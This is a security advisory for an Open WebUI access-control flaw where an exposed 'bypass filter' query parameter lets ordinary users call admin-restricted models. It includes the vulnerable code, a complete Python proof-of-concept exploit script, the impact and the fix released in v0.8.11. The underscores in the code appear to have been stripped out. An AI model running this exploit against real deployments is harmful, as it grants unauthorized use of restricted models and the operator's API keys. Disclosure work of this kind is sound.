PT-2026-59399 · Pypi · Open-Webui

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

5.4

Média

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Summary

An internal-only bypass filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass filter=true and bypass model access control checks to invoke admin-restricted models.

Details

The generate chat completion route handlers in both routers/openai.py and routers/ollama.py declare bypass filter as a function parameter:
routers/openai.py, line 937–941:
python
@router.post("/chat/completions")
async def generate chat completion(
  request: Request,
  form data: dict,
  user=Depends(get verified user),
  bypass filter: Optional[bool] = False,
  ...
):
routers/ollama.py, line 1283–1288:
python
@router.post("/api/chat")
async def generate chat completion(
  ...
  bypass filter: Optional[bool] = False,
  ...
):
Because FastAPI automatically binds unrecognized function parameters to the query string, any HTTP client can set this value by appending ?bypass filter=true to the request URL.
When bypass filter is true, the access control check is skipped entirely:
routers/openai.py, line 980:
python
if not bypass filter and user.role == "user":
  # ACL check — skipped when bypass filter is True
This parameter is intended for internal use only — the server-side chat pipeline in utils/chat.py (lines 238, 253) passes bypass filter=True as a Python function argument when making recursive calls to base models that have already been authorized. However, because it appears in the HTTP handler's signature, it is unintentionally exposed to external callers.
This is separate from the BYPASS MODEL ACCESS CONTROL environment variable, which is a deliberate admin setting for trusted environments.

PoC

python
#!/usr/bin/env python3
"""
uv run --no-project --with requests finding 02 bypass filter acl bypass.py [--base-url http://localhost:8089]

Finding #2 — Unauthorized model access via bypass filter query parameter

SUMMARY:
 The POST /openai/chat/completions and POST /ollama/api/chat endpoints expose
 a bypass filter query parameter as part of their FastAPI function signatures.
 FastAPI automatically binds this to the query string. When an authenticated
 user appends ?bypass filter=true, the access control check is skipped:

  if not bypass filter and user.role == "user":
    check model access(user, model) # <-- skipped when bypass filter=True

 This allows any authenticated user to invoke models they are not authorized
 to use, including admin-restricted models.

VULNERABLE CODE:
 backend/open webui/routers/openai.py, line 941 + 980:
  async def generate chat completion(..., bypass filter: Optional[bool] = False, ...):
    ...
    if not bypass filter and user.role == "user":
      # ACL check — skipped when bypass filter=True

 backend/open webui/routers/ollama.py, line 1288 + 1339:
  async def generate chat completion(..., bypass filter: Optional[bool] = False, ...):
    ...
    if not bypass filter and user.role == "user":
      # ACL check — skipped when bypass filter=True

IMPACT:
 Any authenticated user can bypass model access control on both OpenAI and
 Ollama proxy endpoints. Because bypass filter skips the ACL check but still
 routes through the server-side LLM connection, the attacker can invoke
 admin-restricted models using the server's API keys and receive actual LLM
 responses — effectively gaining free, unauthorized access to any configured
 model.

REPRODUCTION:
 1. Create a restricted model with empty access grants (admin-only).
 2. Authenticate as a regular user.
 3. POST /openai/chat/completions with the restricted model → expect 403.
 4. POST /openai/chat/completions?bypass filter=true → request succeeds.

REQUIREMENTS:
 - Running Open WebUI instance with Ollama or OpenAI backend configured
 - A model with restricted access grants
 - An authenticated user who is NOT granted access to that model
"""

import argparse
import sys
import requests


def main():
  parser = argparse.ArgumentParser(description="Finding #2: bypass filter ACL bypass")
  parser.add argument("--base-url", required=True, help="Open WebUI base URL")
  parser.add argument("--attacker-email", required=True)
  parser.add argument("--attacker-password", required=True)
  parser.add argument("--admin-email", required=True)
  parser.add argument("--admin-password", required=True)
  args = parser.parse args()

  base = args.base url.rstrip("/")

  # ── Step 1: Authenticate ──
  print("[*] Authenticating as attacker...")
  r = requests.post(f"{base}/api/v1/auths/signin",
           json={"email": args.attacker email, "password": args.attacker password})
  if not r.ok:
    print(f"[-] Login failed: {r.status code}")
    sys.exit(1)
  attacker token = r.json()["token"]
  print(f"[+] Logged in as attacker (id={r.json()['id']})")

  # ── Step 2: Find restricted model via admin ──
  print("[*] Authenticating as admin to find restricted model...")
  r = requests.post(f"{base}/api/v1/auths/signin",
           json={"email": args.admin email, "password": args.admin password})
  if not r.ok:
    print(f"[-] Admin login failed: {r.status code}")
    sys.exit(1)
  admin token = r.json()["token"]

  r = requests.get(f"{base}/api/v1/models", headers={"Authorization": f"Bearer {admin token}"})
  if not r.ok:
    print(f"[-] Failed to list models: {r.status code}")
    sys.exit(1)

  models = r.json()
  if isinstance(models, dict):
    models = models.get("data", models.get("models", []))

  restricted model id = None
  base model id = None
  for m in models:
    info = m.get("info", {})
    if not info:
      continue
    access grants = info.get("access grants", None)
    if access grants is not None and len(access grants) == 0 and info.get("base model id"):
      restricted model id = m["id"]
      base model id = info.get("base model id")
      print(f"[+] Found restricted model: {restricted model id} (base: {base model id})")
      break

  if not restricted model id:
    print("[-] No restricted model found.")
    sys.exit(1)

  headers = {"Authorization": f"Bearer {attacker token}"}
  payload = {
    "model": restricted model id,
    "messages": [{"role": "user", "content": "Say exactly: BYPASS CONFIRMED"}],
    "stream": False,
  }

  # ── Step 3: Confirm access is denied on /openai/chat/completions ──
  print(f"
[*] Step 1: POST /openai/chat/completions (no bypass) with model '{restricted model id}'...")
  r = requests.post(f"{base}/openai/chat/completions", headers=headers, json=payload)
  print(f"  Response: {r.status code} {r.text[:200]}")

  if r.status code == 403:
    print("[+] Access correctly DENIED (403) — attacker cannot use the restricted model")
  else:
    print(f"[!] Unexpected response code {r.status code} (expected 403)")

  # ── Step 4: Bypass with ?bypass filter=true on OpenAI endpoint ──
  print(f"
[*] Step 2: POST /openai/chat/completions?bypass filter=true ...")
  r = requests.post(f"{base}/openai/chat/completions",
           headers=headers, json=payload,
           params={"bypass filter": "true"})
  print(f"  Response: {r.status code} {r.text[:300]}")

  openai bypassed = r.status code != 403

  if openai bypassed:
    print(f"[+] OpenAI endpoint: ACL BYPASSED (got {r.status code} instead of 403)")
  else:
    print(f"[-] OpenAI endpoint: bypass did not work (still 403)")

  # ── Step 5: Also test Ollama endpoint ──
  print(f"
[*] Step 3: POST /ollama/api/chat?bypass filter=true ...")
  ollama payload = {
    "model": restricted model id,
    "messages": [{"role": "user", "content": "Say exactly: BYPASS CONFIRMED"}],
    "stream": False,
  }
  r normal = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama payload)
  print(f"  Without bypass: {r normal.status code} {r normal.text[:150]}")

  r bypass = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama payload,
               params={"bypass filter": "true"})
  print(f"  With bypass:  {r bypass.status code} {r bypass.text[:150]}")

  ollama bypassed = r normal.status code == 403 and r bypass.status code != 403

  if ollama bypassed:
    print(f"[+] Ollama endpoint: ACL BYPASSED ({r normal.status code} → {r bypass.status code})")
  elif r bypass.status code != 403:
    print(f"[+] Ollama endpoint: bypass filter accepted (status {r bypass.status code})")
    ollama bypassed = True
  else:
    print(f"[-] Ollama endpoint: bypass did not work")

  # ── Results ──
  if openai bypassed or ollama bypassed:
    print(f"
[+] SUCCESS: bypass filter query parameter bypasses model access control!")
    print(f"  OpenAI endpoint (/openai/chat/completions): {'BYPASSED' if openai bypassed else 'not bypassed'}")
    print(f"  Ollama endpoint (/ollama/api/chat):     {'BYPASSED' if ollama bypassed else 'not bypassed'}")
    print(f"")
    print(f"  Any authenticated user can append ?bypass filter=true to skip")
    print(f"  check model access() and use admin-restricted models via the")
    print(f"  server's own API keys.")
    sys.exit(0)
  else:
    print(f"
[-] FAILED: bypass filter did not bypass access control on either endpoint")
    sys.exit(1)


if  name  == " main ":
  main()

Impact

Any authenticated user (including those with the lowest "user" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin's ability to restrict which models are available to which users — for example, limiting expensive models to specific teams or keeping certain models internal-only.

Resolution

Fixed in commit c0385f60b, first released in v0.8.11 (Mar 2026) — one day after this report.
bypass filter is no longer a function parameter on either route handler. Both routers/openai.py and routers/ollama.py now read it via getattr(request.state, 'bypass filter', False). Because request.state can only be populated by server-side code in the same process (typically utils/chat.py when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending ?bypass filter=true to the URL has no effect — the query parameter is now silently ignored by FastAPI since it doesn't bind to any handler argument.
Users on >= 0.8.11 are not affected.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-2758

Produtos afetados

Open-Webui